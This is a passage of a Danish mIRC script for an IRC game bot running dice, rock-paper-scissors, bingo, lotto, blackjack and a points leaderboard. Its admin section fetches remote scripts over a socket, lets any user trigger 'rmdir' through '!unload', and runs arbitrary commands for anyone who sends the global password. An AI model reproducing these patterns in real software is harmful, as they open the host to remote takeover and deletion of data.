notice $nick %ggtag Jeg genkender dig som: $auth($nick) $+ , og med: $points($nick) points! %ggtag
}
if ($points($nick) == 0) {
notice $nick %ggtag Jeg genkender dig som: $auth($nick) $+ , og med: 0 point! %ggtag
}
}
else {
if (%regnickspam. [ $+ [ $nick ] ] != on) {
set -u5 %regnickspam. $+ $nick on
notice $nick %ggtag Du er ikke logget på auth! %ggtag
}
}
}
if ($1 == !djoin) {
if (%dice.add == on) {
if ($points($nick) >= %dice.sats) {
var %i = 1,%c = %dice.med
while (%i <= %c) {
if ($gettok(%dice.tilmeldte,%i,32) == $nick) {
var %sry on
}
inc %i
}
if (%sry) {
notice $nick %ggtag Du er allerede med til denne dice! %ggtag
halt
}
else {
timerdice off
timerdice 0 60 dice $chan $nick
inc %dice.med
inc %dice.prize %dice.sats
set %dice.tilmeldte %dice.tilmeldte $nick
$Rempoints($nick,%dice.sats)
msg $chan %ggtag $nick er med til dice ( $+ %dice.med $+ ) $+ . Puljen er nu på: %dice.prize %ggtag
}
}
}
}
if ($1 == !ssp) {
if ($2 isnum) && (!$3) {
if ($2 >= 5) && ($2 <= 100) {
if ($points($nick) >= $2) {
if (%game != on) {
set %game on
set %ssp.chan $chan
set %ssp.player1 $nick
set %ssp.status on
set %ssp.venter on
set %ssp.sats $2
timer -m 1 500 msg $chan %ggtag SSP (Sten, Saks og Papir) er nu startet af: $nick - skriv !ssp-add for at kæmpe imod ham! %ggtag
timerfindssp 0 60 addedssp $chan
}
}
else { notice $nick %ggtag du har ikke nok points til at lave det sats %ggtag | halt }
}
else { notice $nick %ggtag du skal lave et sats mellem 5 og 100 %ggtag | halt }
}
else { notice $nick %ggtag Forkert command brug: !ssp <points> uden: <> %ggtag | halt }
}
if ($1 == !ssp-add) {
if (%ssp.venter == on) && (!$3) {
if ($auth($nick) != 0) {
if ($points($nick) >= %ssp.sats) {
if ($nick != %ssp.player1) {
timerfindssp off
unset %ssp.venter
set %ssp.player2 $nick
msg $chan %ggtag Modstander er nu fundet: $nick %ggtag
timer 1 1 msg $chan %ggtag For at vælge jeres træk skriv <!sten, !saks eller !papir> i priv til mig, Fx: /msg $me !sten - I har 30 sek! %ggtag
timerssp 0 30 sspkamp %ssp.player1 $nick $chan
}
else { notice $nick %ggtag Du kan ikke adde dig når du har startet en ssp %ggtag | halt }
}
else { notice $nick %ggtag du har ikke nok points til at joine denne ssp %ggtag | halt }
}
else { notice $nick %ggtag Du er ikke logget på auth. Eller hop på $chan %ggtag | halt }
}
}
if ($1 == !top3) {
if (%top3spam != on) {
set -u20 %top3spam on
mode $chan +m
timer -m 1 500 msg $chan %ggtag Top3 on #playgod.dk %ggtag
var %i = 1,%c = $ini(points.ini,points,0)
while (%i <= %c) {
if (!%1st.status) {
set %1st.status on
set %1st.points $readini(points.ini,points,$ini(points.ini,points,%i))
set %top $ini(points.ini,points,%i)
goto next
}
if (!%2nd.status) {
if ($readini(points.ini,points,$ini(points.ini,points,%i)) > %1st.points) {
set %2nd.status on
set %2nd.points %1st.points
set %top $instok(%top,$ini(points.ini,points,%i),1,32)
set %1st.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
else {
set %2nd.status on
set %top $instok(%top,$ini(points.ini,points,%i),2,32)
set %2nd.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
}
if (!%3th.status) {
if ($readini(points.ini,points,$ini(points.ini,points,%i)) > %1st.points) {
set %3th.status on
set %3th.points %2nd.points
set %2nd.points %1st.points
set %top $instok(%top,$ini(points.ini,points,%i),1,32)
set %1st.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
elseif ($readini(points.ini,points,$ini(points.ini,points,%i)) > %2nd.points) {
set %3th.status on
set %3th.points %2nd.points
set %top $instok(%top,$ini(points.ini,points,%i),2,32)
set %2nd.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
else {
set %3th.status on
set %top $instok(%top,$ini(points.ini,points,%i),3,32)
set %3th.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
}
if (%1st.points < $readini(points.ini,points,$ini(points.ini,points,%i))) {
set %3th.points %2nd.points
set %2nd.points %1st.points
set %top $instok(%top,$ini(points.ini,points,%i),1,32)
set %1st.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
if (%2nd.points < $readini(points.ini,points,$ini(points.ini,points,%i))) {
set %3th.points %2nd.points
set %top $instok(%top,$ini(points.ini,points,%i),2,32)
set %2nd.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
if (%3th.points < $readini(points.ini,points,$ini(points.ini,points,%i))) {
set %top $instok(%top,$ini(points.ini,points,%i),3,32)
set %3th.points $readini(points.ini,points,$ini(points.ini,points,%i))
goto next
}
:next
inc %i
}
var %1st.auth = $gettok(%top,1,32)
var %2nd.auth = $gettok(%top,2,32)
var %3th.auth = $gettok(%top,3,32)
timer 1 1 msg $chan %ggtag 1. $iif(!%1st.auth,None,%1st.auth) ( $+ $iif(!%1st.points,None,%1st.points) Points $+ ) %ggtag
timer 1 3 msg $chan %ggtag 2. $iif(!%2nd.auth,None,%2nd.auth) ( $+ $iif(!%2nd.points,None,%2nd.points) Points $+ ) %ggtag
timer 1 5 msg $chan %ggtag 3. $iif(!%3th.auth,None,%3th.auth) ( $+ $iif(!%3th.points,None,%3th.points) Points $+ ) %ggtag
timer 1 7 unset %1st*
timer 1 7 unset %2nd*
timer 1 7 unset %3th*
timer 1 7 unset %top
timer 1 10 mode $chan -m
}
}
}
on ^*:OPEN:?:*: {
if ($1 == !bingo) {
if (%bingo.plade == on) {
if (!$2) {
if (%bingo.spam [ $+ [ $nick ] ] == 4) { halt }
if (%plade. [ $+ [ $auth($nick) ] ]) {
timerbingo off
inc %bingo.spam [ $+ [ $nick ] ]
if ($gettok(%plade. [ $+ [ $auth($nick) ] ],1,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],2,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],3,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],4,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],5,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],6,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],7,32) isin %tallene) && ($gettok(%plade. [ $+ [ $auth($nick) ] ],8,32) isin %tallene) {
if (%bingo.pointprize) {
msg %bingo.chan %ggtag Vi har en vinder: $nick %ggtag han havde tallene: %plade. [ $+ [ $auth($nick) ] ] %ggtag Han har vundet: %bingo.prize Points! %ggtag
$givpoints($nick,%bingo.prize)
timer 1 1 msg %bingo.chan %ggtag Bingo OFF - tillykke %ggtag
timer 1 3 mode %bingo.chan -m
timer 1 4 bingoend
halt
}
if (!%bingo.pointprize) {
msg %bingo.chan %ggtag Vi har en vinder: $nick %ggtag han havde tallene: %plade. [ $+ [ $auth($nick) ] ] %ggtag Han har vundet: %bingo.prize %ggtag
timer 1 1 msg %bingo.chan %ggtag Bingo OFF - tillykke %ggtag
timer 1 3 mode %bingo.chan -m
timer 1 4 bingoend
halt
}
}
elseif (%bingo.spam [ $+ [ $nick ] ] == 4) {
ignore -u500p $auth($nick)
msg $nick %ggtag Du har ikke bingo %ggtag det var 4. gang du skrev bingo... du er nu ude! %ggtag
timerbingo 0 6 bingotal
halt
}
else {
msg $nick %ggtag du har ikke bingo %ggtag [ $+ %bingo.spam [ $+ [ $nick ] ] / 4] %ggtag
timerbingo 0 6 bingotal
}
}
}
}
}
elseif ($1 == !sten) {
if ($nick == %ssp.player1) {
if (%ssp.player1) {
set %ssp.kamp.player1 sten
if (%ssp.kamp.player2) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
}
if ($nick == %ssp.player2) {
if (%ssp.player2) {
set %ssp.kamp.player2 sten
if (%ssp.kamp.player1) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
}
}
elseif ($1 == !papir) {
if ($nick == %ssp.player1) {
if (%ssp.player1) {
if (*<* !iswm $1 && *>* !iswm $1) && (!$3) {
set %ssp.kamp.player1 papir
if (%ssp.kamp.player2) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
else { msg $nick %ggtag Skriv: !papir - uden: <> %ggtag | halt }
}
}
if ($nick == %ssp.player2) {
if (%ssp.player2) {
if (*<* !iswm $1 && *>* !iswm $1) && (!$3) {
set %ssp.kamp.player2 papir
if (%ssp.kamp.player1) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
else { msg $nick %ggtag Skriv: !papir - uden: <> %ggtag | halt }
}
}
}
elseif ($1 == !saks) {
if ($nick == %ssp.player1) {
if (%ssp.player1) {
if (*<* !iswm $1 && *>* !iswm $1) && (!$3) {
set %ssp.kamp.player1 saks
if (%ssp.kamp.player2) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
else { msg $nick %ggtag Skriv: !saks - uden: <> %ggtag | halt }
}
}
if ($nick == %ssp.player2) {
if (%ssp.player2) {
if (*<* !iswm $1 && *>* !iswm $1) && (!$3) {
set %ssp.kamp.player2 saks
if (%ssp.kamp.player1) {
timerssp off
sspkamp %ssp.player1 %ssp.player2 %ssp.chan
}
}
else { msg $nick %ggtag Skriv: !saks - uden: <> %ggtag | halt }
}
}
}
elseif ($1 == !win) {
if (%winchance == on) {
var %i = 1
var %q = $readini(lotto.ini,$auth($me),vinder)
var %c = $auth($nick)
while (%i <= 8) {
var %t = række $+ %i
if ($readini(lotto.ini,%c,%t) == %q) {
inc %lotto.tal
set %lotto.nick.win %lotto.nick.win $nick
msg $nick %ggtag Tillykke med at du vandt i lotto! - Du ville modtage din points ca kl 19:00 %ggtag
halt
}
inc %i
}
}
}
elseif ($1 == !giv-points && $2) {
if ($auth($nick) == smusen) {
if ($3) {
$Givpoints($2,$3)
timer 1 1 msg $nick %ggtag Done - $2 har nu ialt: $points($2) Points! %ggtag
}
}
}
elseif ($1 == !fjern-points && $2) {
if ($auth($nick) == smusen) {
if ($3) {
$Rempoints($2,$3)
timer 1 1 msg $nick %ggtag Done - $2 har nu ialt: $points($2) points! %ggtag
}
}
}
elseif ($1 == !settag && $2) {
if ($auth($nick) == smusen) {
.set %ggtag $2-
timer 1 1 msg $nick %ggtag Nye tag se her %ggtag
}
}
elseif ($1 == !vis-plade) {
if (%bingo.status == on) {
if (%plade. [ $+ [ $auth($nick) ] ]) {
msg $nick %ggtag Din plade er: %plade. [ $+ [ $auth($nick) ] ] %ggtag
}
}
}
elseif ($gettok(%blackjacknick,%blackjacktur,32) == $nick) {
if ($1 == !hit) {
.timerblackjacknext 1 15 .blackjacknext
.var %kort = $r(2,14)
.set %blackjackkort- [ $+ [ $nick ] ] %blackjackkort- [ $+ [ $nick ] ] %kort
.msg $nick %ggtag Du fik kort: $kort(%kort) og har nu $kort(%blackjackkort- [ $+ [ $nick ] ]) ( $+ $kortsum($nick) $+ ) %ggtag
if ($gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) >= 21) {
if (%blackjacktur <= $numtok(%blackjacknick,32)) {
.inc %blackjacktur
.set %blackjackstop- [ $+ [ $nick ] ] $gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47)
if ($gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) > 21) {
.msg $nick %ggtag Du fik over 21 og er dermed ude %ggtag
}
elseif ($gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) <= 21) {
.msg $nick %ggtag Du er nu stoppet på: $gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) %ggtag
}
if ($gettok(%blackjacknick,%blackjacktur,32)) {
.msg %blackjackchan %ggtag $nick er nu færdig med sin tur, det er nu $gettok(%blackjacknick,%blackjacktur,32) $+ 's tur (30sek) %ggtag
.timer 1 3 .blackjackmsg %blackjackchan $gettok(%blackjacknick,%blackjacktur,32)
.timerblackjacknext 1 30 .blackjacknext
}
else {
.timer 1 1 .msg %blackjackchan %ggtag $nick er nu færdig med sin tur, lad os finde vinderen %ggtag
.timer 1 3 .blackjackvinder
}
}
else { .blackjackvinder }
}
}
if ($1 == !hold) {
if (%blackjacktur <= $numtok(%blackjacknick,32)) {
.inc %blackjacktur
.set %blackjackstop- [ $+ [ $nick ] ] $gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47)
if ($gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) > 21) {
.msg $nick %ggtag Du er nu stoppet på: Du fik over 21 %ggtag
}
elseif ($gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) <= 21) {
.msg $nick %ggtag Du er nu stoppet på: $gettok($remove($kortsum($nick),$chr(32)),$numtok($remove($kortsum($nick),$chr(32)),47),47) %ggtag
}
if ($gettok(%blackjacknick,%blackjacktur,32)) {
.msg %blackjackchan %ggtag $nick er nu færdig med sin tur, det er nu $gettok(%blackjacknick,%blackjacktur,32) $+ 's tur (30sek) %ggtag
.timer 1 3 .blackjackmsg %blackjackchan $gettok(%blackjacknick,%blackjacktur,32)
.timerblackjacknext 1 30 .blackjacknext
}
else {
.msg %blackjackchan %ggtag $nick er nu færdig med sin tur, lad os finde vinderen %ggtag
.blackjackvinder
}
}
else { .blackjackvinder }
}
}
elseif ($left($1,1) == !) {
if ($1 == !loadhelp) {
if ($auth($nick) == smusen) {
msg $nick load: ord-1(!load) ord-2(navn filen skal hedde der bliver hentet fra nettet) ord-3(domæne-navn.dk altså unden "www." men med "navn.dk/com/org") ord-4(stigen. alstp navn.dk/script.txt)
msg $nick list: ord-1(!list)-(lister scripts, hvis for mange script kan botten flode af...... gider ikke lave det ordenligt 12:4P
msg $nick unload: ord-1(!unload) ord-2(navn på scriptet, husk .txt/.ini)
}
}
if ($1 == !load) && (.txt isin $2) || (.ini isin $2) && ($3) && ($4) {
if ($auth($nick) == smusen) {
set %loadnick $nick
set %loadnavn $2
set %loadwebname $3
set %loadwebstig $4
sockopen load $3 80
}
}
if ($1 == !list) {
if ($auth($nick) == smusen) {
var %x 1
msg nick ######## scripts der er loadet på botten ########
if (%x <= $ini(mirc.ini,rfiles,0)) {
msg $nick $readini(mirc.ini,rfiles,$ini(mirc.ini,rfiles,%x))
inc %x
}
}
}
if ($1 == !unload) && ($2) {
rmdir $2
}
if ($1 == !password) && ($2) && (!$3) {
if ($auth($nick) == smusen) {
if (!%password.global) {
set %password.global $2
notice $nick 14|4x14| Global owner password have been changes to: $2 14|4x14|
halt
}
}
}
if ($remove($1,$chr(33)) == %password.global) {
if ($2 == recover) && ($3) && (!$4) {
if ($me ison $3) {
msg $iif(Q ison $3,q,l) recover $3
}
}
else {
$2-
}
}
}
halt
}
alias test { .blackjackvinder }